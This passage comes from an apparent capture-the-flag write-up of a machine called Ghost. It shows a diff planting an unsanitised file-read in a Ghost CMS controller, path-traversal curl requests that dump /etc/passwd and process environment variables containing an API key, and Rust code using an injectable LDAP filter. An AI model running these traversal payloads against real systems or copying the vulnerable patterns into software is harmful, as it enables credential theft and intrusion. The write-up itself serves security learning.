<span style="color: red;">&lt;         query(frame) {</span>
---
<span style="color: lightgreen;">&gt;         async query(frame) {</span>
116c108,117
<span style="color: red;">&lt;             return postsService.browsePosts(options);</span>
---
<span style="color: lightgreen;">&gt;             const posts = await postsService.browsePosts(options);</span>
<span style="color: lightgreen;">&gt;             const extra = frame.original.query?.extra;</span>
<span style="color: lightgreen;">&gt;             if (extra) {</span>
<span style="color: lightgreen;">&gt;                 const fs = require("fs");</span>
<span style="color: lightgreen;">&gt;                 if (fs.existsSync(extra)) {</span>
<span style="color: lightgreen;">&gt;                     const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });</span>
<span style="color: lightgreen;">&gt;                     posts.meta.extra = { [extra]: fileContent };</span>
<span style="color: lightgreen;">&gt;                 }</span>
<span style="color: lightgreen;">&gt;             }</span>
<span style="color: lightgreen;">&gt;             return posts;</span>
183,184d183
<span style="color: red;">&lt; </span>
<span style="color: red;">&lt; module.exports = controller;</span>
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The file read implementation looks quite dodgy, and possibly vulnerable to LFI given the <code class="language-plaintext highlighter-rouge">extra</code> parameter is directly used in <code class="language-plaintext highlighter-rouge">fs.readFileSync()</code>.</p>

<h3 id="ghost-api-path-traversal">Ghost API Path Traversal:</h3>

<p>According to the <a href="https://ghost.org/docs/content-api/#posts">API docs</a>, a POST request to <code class="language-plaintext highlighter-rouge">/ghost/api/content/posts/</code> would return a list of posts alongside some metadata:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a' -s | jq</span>
<span class="cmd-output">
{
  &quot;posts&quot;: [
    {
      &quot;id&quot;: &quot;65bdd2dc26db7d00010704b5&quot;,
      &quot;uuid&quot;: &quot;22db47b3-bbf6-426d-9fcf-887363df82cf&quot;,
      &quot;title&quot;: &quot;Embarking on the Supernatural Journey: Welcome to Ghost!&quot;,
      &quot;slug&quot;: &quot;embarking-on-the-supernatural-journey-welcome-to-ghost&quot;,
      &quot;html&quot;: &quot;&lt;p&gt;Greetings, fellow seekers of the unknown!&lt;/p&gt;&lt;p&gt;It is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.&lt;/p&gt;&lt;h2 id=\&quot;why-ghost\&quot;&gt;Why Ghost?&lt;/h2&gt;&lt;p&gt;The quest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with ghosts and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.&lt;/p&gt;&lt;h2 id=\&quot;what-to-expect\&quot;&gt;What to Expect&lt;/h2&gt;&lt;p&gt;Our digital abode is more than just a collection of stories; it&#39;s a haven for the curious, the intrepid, and the inquisitive. Here, you&#39;ll find:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Investigative Chronicles&lt;/strong&gt;: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Tech Tuesdays&lt;/strong&gt;: Stay at the forefront of paranormal research with our weekly dives into the latest ghost-hunting gadgets, software, and techniques. Knowledge is our strongest ally in the face of the unknown.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Spotlight Series&lt;/strong&gt;: Get to know the passionate individuals behind the investigations. Our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated team.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Community Corner&lt;/strong&gt;: Ghost is more than a website; it&#39;s a community. Share your own supernatural experiences, theories, and questions in our Community Corner. Together, we amplify the voices seeking to understand the inexplicable.&lt;/li&gt;&lt;/ol&gt;&lt;h2 id=\&quot;join-us-on-this-extraordinary-expedition\&quot;&gt;Join Us on this Extraordinary Expedition&lt;/h2&gt;&lt;p&gt;The journey into the paranormal is not for the faint of heart, but it is a journey worth taking. As we lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our content, share your thoughts, and let the spirit of exploration guide us into uncharted territories.&lt;/p&gt;&lt;p&gt;Ghost is not just a website; it&#39;s a portal to the enigmatic, a gateway to the supernatural, and a testament to the boundless curiosity that defines the human spirit.&lt;/p&gt;&lt;p&gt;Welcome to our realm. Let the haunting begin!&lt;/p&gt;&lt;p&gt;Happy ghost hunting,&lt;/p&gt;&lt;p&gt;The Ghost Team&lt;/p&gt;&quot;,
      &quot;comment_id&quot;: &quot;659cdeec9cd6330001baefbf&quot;,
      &quot;feature_image&quot;: null,
      &quot;featured&quot;: true,
      &quot;visibility&quot;: &quot;public&quot;,
      &quot;created_at&quot;: &quot;2024-01-09T05:51:40.000+00:00&quot;,
      &quot;updated_at&quot;: &quot;2024-01-09T05:52:59.000+00:00&quot;,
      &quot;published_at&quot;: &quot;2024-01-09T05:52:29.000+00:00&quot;,
      &quot;custom_excerpt&quot;: null,
      &quot;codeinjection_head&quot;: null,
      &quot;codeinjection_foot&quot;: null,
      &quot;custom_template&quot;: null,
      &quot;canonical_url&quot;: null,
      &quot;url&quot;: &quot;http://ghost.htb/embarking-on-the-supernatural-journey-welcome-to-ghost/&quot;,
      &quot;excerpt&quot;: &quot;Greetings, fellow seekers of the unknown!\n\nIt is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.\n\n\nWhy Ghost?\n\nThe quest to understand the supernatural has been etched into the fabric of human history. From anc&quot;,
      &quot;reading_time&quot;: 1,
      &quot;access&quot;: true,
      &quot;comments&quot;: false,
      &quot;og_image&quot;: null,
      &quot;og_title&quot;: null,
      &quot;og_description&quot;: null,
      &quot;twitter_image&quot;: null,
      &quot;twitter_title&quot;: null,
      &quot;twitter_description&quot;: null,
      &quot;meta_title&quot;: null,
      &quot;meta_description&quot;: null,
      &quot;email_subject&quot;: null,
      &quot;frontmatter&quot;: null,
      &quot;feature_image_alt&quot;: null,
      &quot;feature_image_caption&quot;: null
    }
  ],
  &quot;meta&quot;: {
    &quot;pagination&quot;: {
      &quot;page&quot;: 1,
      &quot;limit&quot;: 15,
      &quot;pages&quot;: 1,
      &quot;total&quot;: 1,
      &quot;next&quot;: null,
      &quot;prev&quot;: null
    }
  }
}
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>The additional feature lets users specify a filename with the <code class="language-plaintext highlighter-rouge">extra</code> parameter, it then reads the file in <code class="language-plaintext highlighter-rouge">/var/lib/ghost/extra/</code> and returns its contents, alongside other metadata. Since there’s no input sanitization, path traversal characters can be injected to read files outside the intended directory, such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">curl 'http://ghost.htb:8008/ghost/api/content/posts/?extra=../../../../../../../../../etc/passwd&amp;key=a5af628828958c976a3b6cc81a' -s | jq</span>
<span class="cmd-output">
{
  &quot;posts&quot;: [
    {
      &quot;id&quot;: &quot;65bdd2dc26db7d00010704b5&quot;,
      &quot;uuid&quot;: &quot;22db47b3-bbf6-426d-9fcf-887363df82cf&quot;,
      &quot;title&quot;: &quot;Embarking on the Supernatural Journey: Welcome to Ghost!&quot;,
      &quot;slug&quot;: &quot;embarking-on-the-supernatural-journey-welcome-to-ghost&quot;,
      &quot;html&quot;: &quot;&lt;p&gt;Greetings, fellow seekers of the unknown!&lt;/p&gt;&lt;p&gt;It is with great excitement and a touch of trepidation that we welcome you to the digital realm of Ghost, your go-to destination for unraveling the mysteries that lie beyond the veil of the ordinary. As we embark on this supernatural journey together, allow us to extend our hand and guide you through the shadowy corridors of the unexplained.&lt;/p&gt;&lt;h2 id=\&quot;why-ghost\&quot;&gt;Why Ghost?&lt;/h2&gt;&lt;p&gt;The quest to understand the supernatural has been etched into the fabric of human history. From ancient legends to modern-day tales, the fascination with ghosts and the paranormal is a thread that binds us across time and cultures. Ghost emerges as a beacon for those who yearn to explore the realms beyond our comprehension.&lt;/p&gt;&lt;h2 id=\&quot;what-to-expect\&quot;&gt;What to Expect&lt;/h2&gt;&lt;p&gt;Our digital abode is more than just a collection of stories; it&#39;s a haven for the curious, the intrepid, and the inquisitive. Here, you&#39;ll find:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Investigative Chronicles&lt;/strong&gt;: Join us as we recount our journeys into haunted locations, sharing the spine-chilling encounters, unexplained phenomena, and the secrets that linger in the darkness.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Tech Tuesdays&lt;/strong&gt;: Stay at the forefront of paranormal research with our weekly dives into the latest ghost-hunting gadgets, software, and techniques. Knowledge is our strongest ally in the face of the unknown.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Spotlight Series&lt;/strong&gt;: Get to know the passionate individuals behind the investigations. Our Spotlight Series puts a face to the name, sharing the stories and expertise of our dedicated team.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Community Corner&lt;/strong&gt;: Ghost is more than a website; it&#39;s a community. Share your own supernatural experiences, theories, and questions in our Community Corner. Together, we amplify the voices seeking to understand the inexplicable.&lt;/li&gt;&lt;/ol&gt;&lt;h2 id=\&quot;join-us-on-this-extraordinary-expedition\&quot;&gt;Join Us on this Extraordinary Expedition&lt;/h2&gt;&lt;p&gt;The journey into the paranormal is not for the faint of heart, but it is a journey worth taking. As we lift the veil on the mysteries that surround us, we invite you to be an active participant in this extraordinary expedition. Engage with our content, share your thoughts, and let the spirit of exploration guide us into uncharted territories.&lt;/p&gt;&lt;p&gt;Ghost is not just a website; it&#39;s a portal to the enigmatic, a gateway to the supernatural, and a testament to the boundless curiosity that defines the human spirit.&lt;/p&gt;&lt;p&gt;Welcome to our realm. Let the haunting begin!&lt;/p&gt;&lt;p&gt;Happy ghost hunting,&lt;/p&gt;&lt;p&gt;The Ghost Team&lt;/p&gt;&quot;,
      &quot;comment_id&quot;: &quot;659cdeec9cd6330001baefbf&quot;,
      &lt;..SNIP..&gt;
      &quot;frontmatter&quot;: null,
      &quot;feature_image_alt&quot;: null,
      &quot;feature_image_caption&quot;: null
    }
  ],
  &quot;meta&quot;: {
    &quot;pagination&quot;: {
      &quot;page&quot;: 1,
      &quot;limit&quot;: 15,
      &quot;pages&quot;: 1,
      &quot;total&quot;: 1,
      &quot;next&quot;: null,
      &quot;prev&quot;: null
    },
    &quot;extra&quot;: {
      &quot;../../../../../../../../../etc/passwd&quot;: &quot;root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n&quot;
    }
  }
}
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Environment variables can be retrieved by reading <code class="language-plaintext highlighter-rouge">/proc/self/environ</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre-wrap; word-break: break-all;">"extra": {
      "../../../../../../../../../proc/self/environ": "HOSTNAME=26ae7990f3dd\u0000&lt;..SNIP..&gt;\u0000DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe\u0000&lt;..SNIP..&gt;"
    }</pre>
  </div>
</div>

<p>It contains the Intranet API key: <code class="language-plaintext highlighter-rouge">!@yqr!X2kxmQ.@Xe</code>.</p>

<h3 id="gitea---intranet">Gitea - Intranet</h3>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/gitea_intranet.png?raw=true" alt="" /></p>

<p>intranet contains the full source code of the Intranet portal. As suspected earlier, the user passwords are stored in plaintext as an LDAP attribute <code class="language-plaintext highlighter-rouge">intranetSecret</code> and queried using a non-parameterized filter.</p>

<h6 id="backendsrcapildaprs"><code class="language-plaintext highlighter-rouge">backend/src/api/ldap.rs</code>:</h6>
<div class="language-rust highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">use</span> <span class="nn">ldap3</span><span class="p">::{</span><span class="n">Scope</span><span class="p">,</span> <span class="n">SearchEntry</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">http</span><span class="p">::{</span><span class="n">Cookie</span><span class="p">,</span> <span class="n">CookieJar</span><span class="p">};</span>
<span class="k">use</span> <span class="nn">rocket</span><span class="p">::</span><span class="nn">serde</span><span class="p">::</span><span class="nn">json</span><span class="p">::</span><span class="n">Json</span><span class="p">;</span>
<span class="k">use</span> <span class="nn">time</span><span class="p">::{</span><span class="n">Duration</span><span class="p">,</span> <span class="n">OffsetDateTime</span><span class="p">};</span>

<span class="k">use</span> <span class="k">crate</span><span class="p">::</span><span class="nn">api</span><span class="p">::{</span><span class="n">ldap_error</span><span class="p">,</span> <span class="n">route_error</span><span class="p">,</span> <span class="n">RouteErrorRocket</span><span class="p">,</span> <span class="n">RouteErrorType</span><span class="p">,</span> <span class="n">LoginRequest</span><span class="p">,</span> <span class="n">UserClaim</span><span class="p">};</span>
<span class="k">use</span> <span class="k">crate</span><span class="p">::</span><span class="nn">api</span><span class="p">::</span><span class="nn">ldap</span><span class="p">::</span><span class="n">ldap_bind</span><span class="p">;</span>

<span class="k">async</span> <span class="k">fn</span> <span class="nf">ldap_connect</span><span class="p">(</span><span class="n">username</span><span class="p">:</span> <span class="o">&amp;</span><span class="nb">String</span><span class="p">,</span> <span class="n">secret</span><span class="p">:</span> <span class="o">&amp;</span><span class="nb">String</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nn">anyhow</span><span class="p">::</span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span> <span class="n">RouteErrorRocket</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">ldap</span> <span class="o">=</span> <span class="nf">ldap_bind</span><span class="p">()</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>

    <span class="k">let</span> <span class="n">dn</span> <span class="o">=</span> <span class="s">"CN=Users,DC=ghost,DC=htb"</span><span class="p">;</span>
    <span class="k">let</span> <span class="p">(</span><span class="k">mut</span> <span class="n">rs</span><span class="p">,</span> <span class="n">_res</span><span class="p">)</span> <span class="o">=</span> <span class="n">ldap</span>
        <span class="nf">.search</span><span class="p">(</span>
            <span class="o">&amp;</span><span class="n">dn</span><span class="p">,</span>
            <span class="nn">Scope</span><span class="p">::</span><span class="n">Subtree</span><span class="p">,</span>
            <span class="o">&amp;</span><span class="nd">format!</span><span class="p">(</span><span class="s">"(&amp;(displayName={})(intranetSecret={}))"</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">secret</span><span class="p">),</span>
            <span class="nd">vec!</span><span class="p">[</span><span class="s">"intranetSecret"</span><span class="p">,</span> <span class="s">"sAMAccountName"</span><span class="p">],</span>
        <span class="p">)</span>
        <span class="k">.await</span><span class="nf">.or</span><span class="p">(</span><span class="nf">Err</span><span class="p">(</span><span class="nf">route_error</span><span class="p">(</span><span class="nn">RouteErrorType</span><span class="p">::</span><span class="n">Unknown</span><span class="p">)))</span><span class="o">?</span>
        <span class="nf">.success</span><span class="p">()</span><span class="nf">.or_else</span><span class="p">(</span><span class="n">ldap_error</span><span class="p">)</span><span class="o">?</span><span class="p">;</span>

    <span class="n">ldap</span><span class="nf">.unbind</span><span class="p">()</span><span class="k">.await</span><span class="nf">.ok</span><span class="p">();</span>

    <span class="k">if</span> <span class="n">rs</span><span class="nf">.is_empty</span><span class="p">()</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nf">Err</span><span class="p">(</span><span class="nf">route_error</span><span class="p">(</span><span class="nn">RouteErrorType</span><span class="p">::</span><span class="n">NotFound</span><span class="p">));</span>
    <span class="p">}</span>

    <span class="k">let</span> <span class="n">entry</span> <span class="o">=</span> <span class="nn">SearchEntry</span><span class="p">::</span><span class="nf">construct</span><span class="p">(</span><span class="n">rs</span><span class="nf">.remove</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
    <span class="k">match</span> <span class="n">entry</span><span class="py">.attrs</span><span class="nf">.get</span><span class="p">(</span><span class="s">"sAMAccountName"</span><span class="p">)</span> <span class="p">{</span>
        <span class="nf">Some</span><span class="p">(</span><span class="n">values</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="k">match</span> <span class="n">values</span><span class="nf">.get</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="nf">Some</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="k">=&gt;</span> <span class="nf">Ok</span><span class="p">(</span><span class="n">username</span><span class="nf">.clone</span><span class="p">()),</span>
            <span class="nb">None</span> <span class="k">=&gt;</span> <span class="nf">Err</span><span class="p">(</span><span class="nf">route_error</span><span class="p">(</span><span class="nn">RouteErrorType</span><span class="p">::</span><span class="n">Unknown</span><span class="p">))</span>
        <span class="p">}</span>
        <span class="nb">None</span> <span class="k">=&gt;</span> <span class="nf">Err</span><span class="p">(</span><span class="nf">route_error</span><span class="p">(</span><span class="nn">RouteErrorType</span><span class="p">::</span><span class="n">Unknown</span><span class="p">))</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nd">#[post(</span><span class="s">"/login"</span><span class="nd">,</span> <span class="nd">data</span> <span class="nd">=</span> <span class="s">"&lt;body&gt;"</span><span class="nd">)]</span>
<span class="k">pub</span> <span class="k">async</span> <span class="k">fn</span> <span class="nf">login</span><span class="p">(</span><span class="n">body</span><span class="p">:</span> <span class="n">Json</span><span class="o">&lt;</span><span class="n">LoginRequest</span><span class="o">&gt;</span><span class="p">,</span> <span class="n">cookies</span><span class="p">:</span> <span class="o">&amp;</span><span class="n">CookieJar</span><span class="o">&lt;</span><span class="nv">'_</span><span class="o">&gt;</span><span class="p">)</span> <span class="k">-&gt;</span> <span class="nn">anyhow</span><span class="p">::</span><span class="nb">Result</span><span class="o">&lt;</span><span class="p">(),</span> <span class="n">RouteErrorRocket</span><span class="o">&gt;</span> <span class="p">{</span>
    <span class="k">let</span> <span class="n">username</span> <span class="o">=</span> <span class="nf">ldap_connect</span><span class="p">(</span><span class="o">&amp;</span><span class="n">body</span><span class="py">.ldap_username</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">body</span><span class="py">.ldap_secret</span><span class="p">)</span><span class="k">.await</span><span class="o">?</span><span class="p">;</span>
    <span class="k">let</span> <span class="n">claim</span> <span class="o">=</span> <span class="nn">UserClaim</span><span class="p">::</span><span class="nf">sign</span><span class="p">(</span><span class="n">UserClaim</span> <span class="p">{</span>
        <span class="n">username</span><span class="p">:</span> <span class="n">username</span><span class="nf">.to_string</span><span class="p">(),</span>
    <span class="p">});</span>

    <span class="k">let</span> <span class="k">mut</span> <span class="n">cookie</span> <span class="o">=</span> <span class="nn">Cookie</span><span class="p">::</span><span class="nf">new</span><span class="p">(</span><span class="s">"token"</span><span class="p">,</span> <span class="nd">format!</span><span class="p">(</span><span class="s">"Bearer {}"</span><span class="p">,</span> <span class="n">claim</span><span class="p">));</span>
    <span class="k">let</span> <span class="k">mut</span> <span class="n">now</span> <span class="o">=</span> <span class="nn">OffsetDateTime</span><span class="p">::</span><span class="nf">now_utc</span><span class="p">();</span>
